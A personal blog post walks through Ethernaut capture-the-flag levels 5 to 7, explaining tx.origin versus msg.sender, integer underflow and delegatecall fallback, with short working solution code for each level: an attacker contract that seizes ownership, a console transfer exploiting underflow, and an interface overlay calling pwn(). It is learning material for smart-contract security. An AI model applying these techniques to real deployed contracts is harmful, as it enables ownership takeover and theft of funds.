Ethernaut Walkthrough - Part 2
Ethernaut Walkthrough - Part 2

Ethernaut Walkthrough - Part 2

Published
April 27, 2023
Tags
Solidity
Learn With Me
Web3
Ethernaut CTF
Author

We are back at it!

In case you missed the previous post, here is the link to the previous post
Ethernaut Walkthrough - Part 1
Ethernaut Walkthrough - Part 1

Levels

5. Telephone

Thought process

  1. Notice in Telephone.sol that we just have to call changeOwner such that tx.origin and msg.sender are not the same and we can change the owner to whichever address we want
  1. Did a quick google on “tx origin solidity” which led me to this page https://docs.guardrails.io/docs/vulnerabilities/solidity/use_of_insecure_function#:~:text=,calls into a malicious contract.
  1. So tx.origin is the address of the account that sent the transaction
Solution
  1. Deploy the following contract
    1. // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.2 <0.9.0; contract TelephoneSolution { function solve(address telContractAddress) external { Telephone telephone = Telephone(telContractAddress); telephone.changeOwner(msg.sender); } } interface Telephone { function changeOwner(address _owner) external; }
  1. Get contract’s address by running the following in the browser console
    1. await contract.address()
  1. Run the deployed TelephoneSolution.solve with the contract’s address

Takeaways

  • tx.origin is the address which started the transaction
  • msg.sender is the address which sent the message to the contract, and this could be another contract that was triggered by the transaction

6. Token

Thought Process

  1. I had to google for help on this one. I googled a little and found out that it had to do with integer underflow and overflow.
    1. To hack this contract first you need to understand the concept of integer underflow and overflow. The overflow is a situation when uint (unsigned integer) reaches its byte size. Then the next element added will return the first variable element. - https://hackernoon.com/how-to-solve-the-ethernaut-games-level-5-token
Solution
1. Execute the following in the browser console
await contract.transfer(ethernaut.address, 21)

Takeaways

  • We can check overflow with the following
    • if(a + c > a) { a = a + c; }
  • An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:
    • a = a.add(c);

7. Delegation

Thought Process

  1. Went to research about delegatecall as suggested (reference: Solidity Docs)
    1. Notice that delegatecall is similar to using another contract’s code as a library
  1. Notice that in Delegate.sol the pwn() function changes the owner to msg.sender

Solution

  1. Load this interface into remix IDE
    1. // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.18; interface Delegation { function pwn() external; fallback() external; receive() payable external; }
  1. Just overlay this interface on top of the level's contract address
  1. And call pwn()
  1. Make sure that there is enough gas limit given

Takeaways

  • delegatecall combined with fallback is very much like composition in OOP (Object Oriented Programming)
  • Solidity documentation on fallback function was not easy to understand, in my opinion.
  • The first possible way to trigger fallback function was just calling a non-existent method on the target contract. This can be simulated by overlaying a wrong interface on an contract address and calling whichever method that was defined in the interface but not on the contract
  • The second possible way to trigger fallback function was not easy to understand for me. I thought I could trigger solve the level another way by sending Ether to it but turns out that does not work. The fallback function has to be marked payable for that to work